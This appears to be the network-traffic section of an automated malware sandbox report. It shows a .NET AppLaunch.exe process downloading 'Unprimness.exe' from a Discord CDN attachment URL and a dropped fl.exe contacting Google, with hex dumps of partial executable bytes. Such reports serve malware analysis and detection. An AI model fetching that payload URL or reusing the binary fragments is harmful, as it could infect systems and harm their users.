Oct 28, 2021 22:44:06.835957050 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.836019993 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:06.837086916 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.837127924 CEST	80	49791	216.58.215.228	192.168.2.3
Oct 28, 2021 22:44:06.837198973 CEST	49791	80	192.168.2.3	216.58.215.228
Oct 28, 2021 22:44:11.671891928 CEST	49791	80	192.168.2.3	216.58.215.228

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2021 22:43:27.543545961 CEST	53910	53	192.168.2.3	8.8.8.8
Oct 28, 2021 22:43:27.569941998 CEST	53	53910	8.8.8.8	192.168.2.3
Oct 28, 2021 22:44:06.150798082 CEST	52650	53	192.168.2.3	8.8.8.8
Oct 28, 2021 22:44:06.167941093 CEST	53	52650	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 28, 2021 22:43:27.543545961 CEST	192.168.2.3	8.8.8.8	0xa8d3	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Oct 28, 2021 22:44:06.150798082 CEST	192.168.2.3	8.8.8.8	0xb22e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 28, 2021 22:43:12.789647102 CEST	8.8.8.8	192.168.2.3	0x68d0	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Oct 28, 2021 22:43:27.569941998 CEST	8.8.8.8	192.168.2.3	0xa8d3	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 28, 2021 22:43:27.569941998 CEST	8.8.8.8	192.168.2.3	0xa8d3	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 28, 2021 22:43:27.569941998 CEST	8.8.8.8	192.168.2.3	0xa8d3	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 28, 2021 22:43:27.569941998 CEST	8.8.8.8	192.168.2.3	0xa8d3	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 28, 2021 22:43:27.569941998 CEST	8.8.8.8	192.168.2.3	0xa8d3	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 28, 2021 22:44:06.167941093 CEST	8.8.8.8	192.168.2.3	0xb22e	No error (0)	www.google.com		216.58.215.228	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

www.google.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49747	162.159.129.233	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49791	216.58.215.228	80	C:\Users\user\AppData\Local\Temp\fl.exe

Timestamp	kBytes transferred	Direction	Data
Oct 28, 2021 22:44:06.225697041 CEST	10187	OUT	GET / HTTP/1.1 Cache-Control: no-cache Host: www.google.com Connection: Keep-Alive
Oct 28, 2021 22:44:06.594090939 CEST	10189	IN	HTTP/1.1 200 OK Date: Thu, 28 Oct 2021 20:44:06 GMT Expires: -1 Cache-Control: private, max-age=0 Content-Type: text/html; charset=ISO-8859-1 P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: NID=511=YSzB0MxqANmxBU9WiiMxdxVnKo1Lxr6xk_JlzHvqq1zJMtE_cW7kbrpNxaPFDpcJU4q9y5LBs_83IfZYJHvf4xzPOizxjDvZ6jHEOkTmUeXXinfCUfX4r3Hxl6cH5RAmKkdVglVQw9IN6dGypkF3ItaLQNqjZRPVqzleOzSXyWo; expires=Fri, 29-Apr-2022 20:44:06 GMT; path=/; domain=.google.com; HttpOnly Accept-Ranges: none Vary: Accept-Encoding Transfer-Encoding: chunked Data Raw: 34 63 65 31 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 74 65 6d 73 63 6f 70 65 3d 22 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 47 42 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 67 2f 31 78 2f 67 6f 6f 67 6c 65 67 5f 73 74 61 6e 64 61 72 64 5f 63 6f 6c 6f 72 5f 31 32 38 64 70 2e 70 6e 67 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 6d 61 67 65 22 3e 3c 74 69 74 6c 65 3e 47 6f 6f 67 6c 65 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 32 65 62 4e 56 58 6b 64 4d 54 66 72 4a 46 48 37 6c 6c 4d 73 57 77 3d 3d 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 67 6f 6f 67 6c 65 3d 7b 6b 45 49 3a 27 6c 67 74 37 59 61 71 32 46 6f 79 49 6d 41 57 55 5f 5a 48 59 42 67 27 2c 6b 45 58 50 49 3a 27 30 2c 31 33 30 32 35 33 36 2c 35 36 38 37 33 2c 31 37 31 30 2c 34 33 34 39 2c 32 30 36 2c 34 38 30 34 2c 32 33 31 36 2c 33 38 33 2c 32 34 36 2c 35 2c 31 33 35 34 2c 35 32 35 31 2c 32 39 34 34 2c 31 31 31 39 35 37 31 2c 31 31 39 37 36 39 36 2c 36 38 39 2c 34 2c 33 32 38 38 37 38 2c 35 31 32 32 34 2c 38 31 36 32 2c 37 39 35 32 2c 31 37 34 34 34 2c 31 31 32 34 30 2c 31 37 35 37 32 2c 34 38 35 38 2c 31 33 36 32 2c 39 32 39 31 2c 33 30 32 33 2c 32 38 32 30 2c 31 39 33 30 2c 31 32 38 33 35 2c 34 30 32 30 2c 39 37 38 2c 31 33 32 32 38 2c 33 38 34 37 2c 34 31 39 32 2c 36 34 33 30 2c 32 31 38 32 32 2c 39 31 39 2c 31 38 33 32 2c 33 32 34 39 2c 31 35 39 33 2c 31 32 37 39 2c 32 32 31 32 2c 35 33 30 2c 31 34 39 2c 31 31 30 33 2c 38 34 30 2c 36 32 39 37 2c 33 35 31 34 2c 36 30 36 2c 32 30 32 33 2c 31 37 37 37 2c 35 32 30 2c 31 34 36 37 30 2c 33 32 32 37 2c 32 38 34 35 2c 37 2c 34 37 37 34 2c 33 34 2c 37 39 31 2c 36 37 35 35 2c 35 30 39 36 2c 31 36 33 32 30 2c 39 30 38 2c 32 2c 39 34 31 2c 32 36 31 Data Ascii: 4ce1<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><meta content="/images/branding/googleg/1x/googleg_standard_color_128dp.png" itemprop="image"><title>Google</title><script nonce="2ebNVXkdMTfrJFH7llMsWw==">(function(){window.google={kEI:'lgt7Yaq2FoyImAWU_ZHYBg',kEXPI:'0,1302536,56873,1710,4349,206,4804,2316,383,246,5,1354,5251,2944,1119571,1197696,689,4,328878,51224,8162,7952,17444,11240,17572,4858,1362,9291,3023,2820,1930,12835,4020,978,13228,3847,4192,6430,21822,919,1832,3249,1593,1279,2212,530,149,1103,840,6297,3514,606,2023,1777,520,14670,3227,2845,7,4774,34,791,6755,5096,16320,908,2,941,261
Oct 28, 2021 22:44:06.594141960 CEST	10190	IN	Data Raw: 34 2c 31 33 31 34 32 2c 33 2c 33 34 36 2c 32 33 30 2c 31 30 31 34 2c 31 2c 35 34 34 35 2c 31 34 38 2c 31 30 30 34 35 2c 31 32 37 38 2c 39 39 31 2c 31 36 36 31 2c 34 2c 31 35 32 38 2c 32 33 30 34 2c 31 32 33 36 2c 35 32 32 36 2c 35 37 37 2c 37 34 Data Ascii: 4,13142,3,346,230,1014,1,5445,148,10045,1278,991,1661,4,1528,2304,1236,5226,577,74,1983,2627,2014,13611,2725,2039,2658,7357,30,5615,49,10269,638,1494,16786,2521,3306,2530,4094,3138,6,908,3,3541,1,11373,3337,1814,283,38,874,5998,15441,8,2,1271,
Oct 28, 2021 22:44:06.594180107 CEST	10191	IN	Data Raw: 6f 72 28 76 61 72 20 62 3b 61 26 26 28 21 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 7c 7c 21 28 62 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 65 69 64 22 29 29 29 3b 29 61 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 62 Data Ascii: or(var b;a&&(!a.getAttribute\|\|!(b=a.getAttribute("eid")));)a=a.parentNode;return b\|\|h}function m(a){for(var b=null;a&&(!a.getAttribute\|\|!(b=a.getAttribute("leid")));)a=a.parentNode;return b}function n(a,b,c,d,g){var e="";c\|\|-1!==b.search("&ei
Oct 28, 2021 22:44:06.594229937 CEST	10193	IN	Data Raw: 72 28 22 73 75 62 6d 69 74 22 2c 66 75 6e 63 74 69 6f 6e 28 62 29 7b 76 61 72 20 61 3b 69 66 28 61 3d 62 2e 74 61 72 67 65 74 29 7b 76 61 72 20 63 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 75 62 6d 69 74 66 61 6c 73 65 Data Ascii: r("submit",function(b){var a;if(a=b.target){var c=a.getAttribute("data-submitfalse");a="1"===c\|\|"q"===c&&!a.elements.q.value?!0:!1}else a=!1;a&&(b.preventDefault(),b.stopPropagation())},!0);document.documentElement.addEventListener("click",fun
Oct 28, 2021 22:44:06.594310045 CEST	10194	IN	Data Raw: 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 7a 2d 69 6e 64 65 78 3a 39 39 39 3b 74 6f 70 3a 2d 39 39 39 70 78 3b 76 69 73 69 62 69 6c 69 74 79 3a 68 69 64 64 65 6e 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f Data Ascii: on:absolute;z-index:999;top:-999px;visibility:hidden;text-align:left;border:1px solid #bebebe;background:#fff;-moz-box-shadow:-1px 1px 1px rgba(0,0,0,.2);-webkit-box-shadow:0 2px 4px rgba(0,0,0,.2);box-shadow:0 2px 4px rgba(0,0,0,.2)}.gbrtl .g
Oct 28, 2021 22:44:06.594350100 CEST	10195	IN	Data Raw: 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 32 70 78 20 34 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 29 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 30 20 32 70 78 20 34 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 29 3b 2d 77 65 Data Ascii: o{box-shadow:0 2px 4px rgba(0,0,0,.2);-moz-box-shadow:0 2px 4px rgba(0,0,0,.2);-webkit-box-shadow:0 2px 4px rgba(0,0,0,.2)}.gbzt,.gbgt{cursor:pointer;display:block;text-decoration:none !important}span#gbg6,span#gbg4{cursor:default}.gbts{border
Oct 28, 2021 22:44:06.594386101 CEST	10197	IN	Data Raw: 6f 6c 64 7d 23 67 62 67 36 2e 67 62 67 74 2d 68 76 72 2c 23 67 62 67 36 2e 67 62 67 74 3a 66 6f 63 75 73 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a Data Ascii: old}#gbg6.gbgt-hvr,#gbg6.gbgt:focus{background-color:transparent;background-image:none}.gbg4a{font-size:0;line-height:0}.gbg4a .gbts{padding:27px 5px 0;padding:25px 5px 0}.gbto .gbg4a .gbts{padding:29px 5px 1px;padding:27px 5px 1px}#gbi4i,#g
Oct 28, 2021 22:44:06.594443083 CEST	10198	IN	Data Raw: 73 69 74 65 64 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 3a 30 20 31 30 70 78 7d 2e 67 62 6d 6c 31 2c 2e 67 62 6d 6c 62 2c 2e 67 62 6d 6c 31 3a 76 69 73 69 74 65 64 2c 2e 67 62 6d 6c 62 3a 76 69 73 69 74 Data Ascii: sited{display:inline-block;margin:0 10px}.gbml1,.gbmlb,.gbml1:visited,.gbmlb:visited{*display:inline}.gbml1,.gbml1:visited{padding:0 10px}.gbml1-hvr,.gbml1:focus{outline:none;text-decoration:underline !important}#gbpm .gbml1{display:inline;mar
Oct 28, 2021 22:44:06.594480991 CEST	10200	IN	Data Raw: 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 62 65 62 65 62 65 7d 23 67 62 64 34 20 2e 67 62 70 63 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 6d 61 72 67 69 6e 3a 31 36 70 78 20 30 20 31 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: ttom:1px solid #bebebe}#gbd4 .gbpc{display:inline-block;margin:16px 0 10px;padding-right:50px;vertical-align:top}#gbd4 .gbpc{*display:inline}.gbpc .gbps,.gbpc .gbps2{display:block;margin:0 20px}#gbmplp.gbps{margin:0 10px}.gbpc .gbps{color:#000
Oct 28, 2021 22:44:06.594537973 CEST	10201	IN	Data Raw: 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 34 38 70 78 3b 77 69 64 74 68 3a 34 38 70 78 7d 2e 67 62 6d 70 6e 77 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 Data Ascii: border:none;display:block;height:48px;width:48px}.gbmpnw{display:inline-block;height:auto;margin:10px 0;vertical-align:top}.gbqfb,.gbqfba,.gbqfbb{-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px;cursor:default !important;dis
Oct 28, 2021 22:44:06.613214016 CEST	10202	IN	Data Raw: 72 67 62 61 28 30 2c 30 2c 30 2c 2e 31 29 3b 63 6f 6c 6f 72 3a 23 34 34 34 20 21 69 6d 70 6f 72 74 61 6e 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 78 7d 2e 67 62 71 66 62 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 64 39 30 66 Data Ascii: rgba(0,0,0,.1);color:#444 !important;font-size:11px}.gbqfb{background-color:#4d90fe;background-image:-webkit-gradient(linear,left top,left bottom,from(#4d90fe),to(#4787ed));background-image:-webkit-linear-gradient(top,#4d90fe,#4787ed);backgrou

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49747	162.159.129.233	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
2021-10-28 20:43:27 UTC	0	OUT	GET /attachments/902018470651248682/903220784527462500/Unprimness.exe HTTP/1.1 Host: cdn.discordapp.com Connection: Keep-Alive
2021-10-28 20:43:28 UTC	0	IN	HTTP/1.1 200 OK Date: Thu, 28 Oct 2021 20:43:28 GMT Content-Type: application/x-msdos-program Content-Length: 4018176 Connection: close CF-Ray: 6a56ff1bdd9e0eb7-FRA Accept-Ranges: bytes Age: 37348 Cache-Control: public, max-age=31536000 Content-Disposition: attachment;%20filename=Unprimness.exe ETag: "45b9d6dbc9ecf89f036e2f4b3a51cdb9" Expires: Fri, 28 Oct 2022 20:43:28 GMT Last-Modified: Thu, 28 Oct 2021 09:56:56 GMT Vary: Accept-Encoding CF-Cache-Status: HIT Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-goog-generation: 1635415016157950 x-goog-hash: crc32c=+WA5LQ== x-goog-hash: md5=RbnW28ns+J8Dbi9LOlHNuQ== x-goog-metageneration: 1 x-goog-storage-class: STANDARD x-goog-stored-content-encoding: identity x-goog-stored-content-length: 4018176 X-GUploader-UploadID: ADPycdsgy-dMLTfPEYec9EE-g5VNsQ0eJ51g1zxJkFSttvkJz7zBYCua4Cb1X0rb7HvhGJPthBcmLB7a0oqedCVZeKc X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp
2021-10-28 20:43:28 UTC	1	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 33 3f 73 3d 6a 68 6b 79 61 70 77 4e 31 42 42 41 55 6b 48 32 6b 74 73 72 30 50 66 61 44 76 25 32 42 6d 45 67 6e 62 74 53 50 38 4e 25 32 42 36 52 4f 5a 79 57 63 67 48 77 57 4c 4e 75 51 4c 31 39 6b 54 76 70 37 50 72 70 74 42 74 58 6d 78 25 32 42 35 4b 37 58 63 66 30 4a 6c 61 70 59 33 70 72 5a 67 76 61 32 47 75 32 73 59 61 4a 44 76 6a 56 6c 6f 39 4c 66 67 44 4c 4d 41 25 32 46 58 25 32 42 6a 6e 4b 64 4c 34 54 44 61 76 42 58 42 70 6e 25 32 42 39 49 67 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=jhkyapwN1BBAUkH2ktsr0PfaDv%2BmEgnbtSP8N%2B6ROZyWcgHwWLNuQL19kTvp7PrptBtXmx%2B5K7Xcf0JlapY3prZgva2Gu2sYaJDvjVlo9LfgDLMA%2FX%2BjnKdL4TDavBXBpn%2B9Ig%3D%3D"}],"group":"cf-nel","max
2021-10-28 20:43:28 UTC	1	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 03 00 69 4f 7a 61 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 08 00 00 46 02 00 00 06 3b 00 00 00 00 00 00 00 00 00 00 80 38 00 00 00 40 00 00 00 00 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 3d 00 00 04 00 00 00 00 00 00 02 00 60 85 00 00 40 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 20 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEdiOza"F;8@ =`@@
2021-10-28 20:43:28 UTC	2	IN	Data Raw: 78 61 c6 40 67 b3 8a 9a c5 d7 39 f8 aa 68 f9 b0 72 5e 8e c3 89 79 f1 e2 4f 98 06 e6 dd 04 30 93 68 f2 91 26 c5 ad 62 0c 1c 8b cc 46 d8 85 04 52 49 5a 09 c1 0c 62 40 a9 3e 9f 4d 94 bf e1 19 49 05 50 fd 83 8a ee bb ae f6 2b 08 00 b6 b1 e5 6c f1 46 b6 65 7d bf 78 d5 a5 8c dc bd fb 8c 18 10 a1 11 bd 42 da a8 3c 4c 9e 3f aa 77 bd 78 49 92 64 6f 14 43 8a 86 fe 12 f2 8c fc a0 10 10 7e 29 80 01 65 48 9a ba b6 b1 08 b4 cf 3f 13 77 11 4d 17 b0 3e 2c ac ca 1f 13 be 07 b7 27 cc 7b 19 6c 73 b7 3d 00 de 80 55 bf f8 b4 67 16 a5 19 9b 58 48 c2 39 26 b7 9d 91 53 c5 15 d4 88 cd af 1b a6 70 a8 38 7e 8d 2f 00 e8 cd 00 e8 d1 39 a1 46 d5 46 bb 77 04 93 09 ca 8a 62 ce 9d aa d6 9b 1a 32 9d d1 67 8b 0a e2 a9 61 ae 14 a1 0b 21 35 44 67 19 a3 d9 04 d6 a4 b6 19 bf 3d b9 1e 88 ce a7 Data Ascii: xa@g9hr^yO0h&bFRIZb@>MIP+lFe}xB<L?wxIdoC~)eH?wM>,'{ls=UgXH9&Sp8~/9FFwb2ga!5Dg=
2021-10-28 20:43:28 UTC	4	IN	Data Raw: 0a 6b 1e 09 8c d7 53 d5 a2 94 97 31 a3 a7 67 85 9b f8 5a 38 60 16 7a 4a 8b 54 59 f6 da c4 8e 5b 59 04 4f 67 ee f1 f5 a1 da 9e ac b5 4e a9 ef 7d ad 76 a4 9c 8e 8e 9e 1b 07 0b 8c 18 00 94 f8 09 e1 f4 4e f3 04 5f d8 52 fe d4 f6 29 6d c9 d1 86 9d 51 f9 e7 b6 08 f9 3c 9f 5f 08 e3 d7 b9 a2 19 f0 08 10 48 98 62 d2 61 10 1b e8 3f d1 fe de b3 92 0f 17 ff b1 08 8f de 23 28 81 92 72 28 95 4a c7 b4 04 f9 a4 25 38 bc bb 3e 54 28 95 0d b7 eb a8 ae 8d 64 5a 3c 2b 4d af 8b dd e3 72 f4 34 b6 66 20 df 0b 45 48 c5 ba ea 69 0c b6 dd 34 a1 34 af e9 28 fc ae 73 b0 be 56 a8 3a b2 4a 3a 4c aa 2a bd b9 41 c7 24 b4 06 db 32 9f e8 a6 d7 35 03 71 93 45 5d 3a d2 cf 89 f1 6b 06 9d 9d bb 93 a2 ff fc 96 3b 46 01 cf f0 d3 34 3e c8 5b 03 9b 01 b7 71 22 90 c6 35 65 63 89 63 3f f6 9e 55 ff Data Ascii: kS1gZ8`zJTY[YOgN}vN_R)mQ<_Hba?#(r(J%8>T(dZ<+Mr4f EHi44(sV:J:L*A$25qE]:k;F4>[q"5ecc?U
2021-10-28 20:43:28 UTC	5	IN	Data Raw: ec 05 aa 0d 74 04 f1 ab 39 6a e9 c3 20 bf 66 e3 32 e5 bf 21 2a f2 e3 e3 3a 63 0d 2d 48 50 8d 08 b8 62 51 79 a1 6e 04 25 d8 c5 50 4d b5 64 6a 2e 30 5b c9 9e cc 6d cd ed 67 8c aa de 21 77 0a 14 d2 fc 49 d8 23 04 12 18 09 8e 02 cc 1e 33 0a 28 b5 64 a7 6c 74 c8 8c d6 76 74 fd 93 4e 20 37 1c ad 36 82 fd 76 34 41 dc 8d ad 4e 86 dc 59 5d fa ad 3a b9 77 dc d7 eb f8 6f 9b 5e 71 f2 dc b4 a2 e3 64 6c db 47 a7 3a 81 a7 cb b9 30 90 d7 24 dc 3f 72 6b e9 c7 eb 12 74 5a 26 c4 72 bb 21 47 2c 0a 03 3a e9 65 0c b0 b9 b3 b7 56 9c 49 70 3f 5b c9 46 5a 4b d4 c4 e7 7e ef 42 e8 c8 31 80 64 7a 8e a9 14 41 08 c5 79 b7 44 0b cd 8b ac ad 56 38 a9 3b b9 b3 55 20 3e d7 e1 51 7c c4 16 69 18 2b 31 a5 f9 84 d9 69 d0 1e 77 46 0f 2b 6b ac 1a 18 9b 6a 5a 1c a4 f9 74 3f c9 78 a0 a7 90 3e d4 Data Ascii: t9j f2!*:c-HPbQyn%PMdj.0[mg!wI#3(dltvtN 76v4ANY]:wo^qdlG:0$?rktZ&r!G,:eVIp?[FZK~B1dzAyDV8;U >Q\|i+1iwF+kjZt?x>
2021-10-28 20:43:28 UTC	6	IN	Data Raw: 07 ab 5d 79 a6 f7 ce 4c 20 ad 9b 9f 01 08 07 d4 e9 e5 44 6a 6c 9a 0a f5 c3 e0 f1 d3 f9 d9 d9 0b 86 b2 67 a2 bf a1 17 f1 1a 5c 58 f8 e1 e1 00 a3 d2 7c 26 bc 7b 51 e0 4e 46 33 e9 b8 47 53 f7 89 df 72 8e 26 7b 89 58 9f ca d6 23 08 3d 76 52 9f 8e 0d 21 5d 93 1e f4 ed e2 aa fe a7 99 40 a6 75 5d e1 b9 e2 ff fd 42 44 e1 7c c3 9e 69 9f 90 2b 16 fa e6 d2 43 79 49 9c 41 72 4a f0 7f 3f 0c f4 ec d2 d3 95 ef f7 64 5f 00 bb e3 cb e7 27 b5 7d e9 45 e5 b8 51 a3 57 69 13 f0 4d 5f 99 82 a7 3a 87 2b 8c a5 e7 89 5d 5c d2 49 67 75 a5 29 69 5f 39 15 18 de f3 de d3 18 30 62 a0 cd 4f 2d 80 da dd fa 34 ab 72 f5 96 12 fa 48 80 aa 4c 06 e0 48 22 76 c7 e4 4a 60 9c f8 ab ed 12 3b ba b0 6d 70 92 93 04 a2 7c e5 db 9e a9 28 bf 28 82 80 61 e0 f8 1d 49 e6 38 d6 04 ee cb 35 c1 c7 09 3d cf Data Ascii: ]yL Djlg\X\|&{QNF3GSr&{X#=vR!]@u]BD\|i+CyIArJ?d_'}EQWiM_:+]\Igu)i_90bO-4rHLH"vJ`;mp\|((aI85=
2021-10-28 20:43:28 UTC	8	IN	Data Raw: 93 5f 9b 11 2c 79 ff 07 57 c1 40 e6 ff b0 b0 17 2f a5 2e df 5b d5 c0 c9 4c f0 c1 e3 73 e8 4a c3 fb 43 be 25 da 4f bc 9a 3a ba f2 49 54 72 3f 26 e1 6e c9 48 3e 28 66 a7 f0 2c 72 49 9d ea ed 5f e9 1d 53 23 29 b5 81 d3 11 92 88 d6 32 29 0a c2 13 0d 24 f2 f2 72 5d 0e 86 42 dc ac 64 48 87 9b 9a 5b 7c 2b 39 82 46 42 00 eb 45 0e 51 ce a4 d0 19 d9 8e e5 91 c0 22 59 4c 6b 7c 48 ef 4f 5a 1d 04 9c 7b c3 17 e7 50 18 3d 15 a2 4e 5e 95 b2 05 d6 d3 5d e4 c6 b4 a6 c4 ba e4 1d c2 14 8d 90 b1 db 38 93 a6 78 65 86 48 25 16 36 84 f2 9a 7c 3a 90 9e b0 af f9 04 fb be ca e2 bf 4d 1f 47 3b c4 9b 96 be ac 7a 9c ff ab fc e5 0f 1e f8 5f 2f ab a0 8b f1 8b be 8f a5 cb 85 e3 aa 47 f9 df 67 39 82 be da a5 8f 04 24 86 77 92 c6 b9 02 33 19 a1 7d 63 ad cc 0e 29 a8 54 69 0b cc f0 d5 f8 cb Data Ascii: _,yW@/.[LsJC%O:ITr?&nH>(f,rI_S#)2)$r]BdH[\|+9FBEQ"YLk\|HOZ{P=N^]8xeH%6\|:MG;z_/Gg9$w3}c)Ti
2021-10-28 20:43:28 UTC	9	IN	Data Raw: 74 22 a5 bf c6 e1 d2 53 27 d4 20 85 31 7d c1 ab 68 9d 11 1f cf ff 6c b2 2b 9c b1 25 e7 75 b8 88 5f be d6 79 e4 10 0c fe 8e 55 23 3b a3 14 52 c8 5e 65 cf cd ab b1 42 72 de 98 d8 bb bb 51 69 37 00 81 58 9a 85 11 96 a5 94 4e af 18 99 c2 e9 32 5d 22 29 27 1e 73 f4 20 3e 1c 8b 6d 1e 35 6c e7 9d 82 7b 8c f0 2c 1d 9b 61 cf 2e a6 45 d6 be 80 25 45 0b af 43 a3 0b fb 20 10 4e 1e 8d bd f0 e4 69 62 51 cd 17 8d 25 02 1c 6f 55 7b 2d 5e c6 e0 3c 93 98 44 f8 29 9e 01 e6 49 7e aa 41 c7 e8 3c a1 7e 8e a1 93 b8 d6 d4 41 75 5e ad ab 6d 7e 2e 6f d1 ea 63 8b a2 ac db 59 ab 43 e5 ca 7d 0d 64 cf dc 91 0f ed 3c 14 4a bb 98 0c 16 1f c4 71 54 21 bf 23 64 b2 52 be 10 af 52 a0 2a 24 a0 62 f4 1b c1 55 16 aa 4b 76 8f ae 14 83 4c 40 8c 93 5e 0d f1 67 7c cc 00 01 87 af 6d e4 18 c7 05 1c Data Ascii: t"S' 1}hl+%u_yU#;R^eBrQi7XN2]")'s >m5l{,a.E%EC NibQ%oU{-^<D)I~A<~Au^m~.ocYC}d<JqT!#dRR*$bUKvL@^g\|m
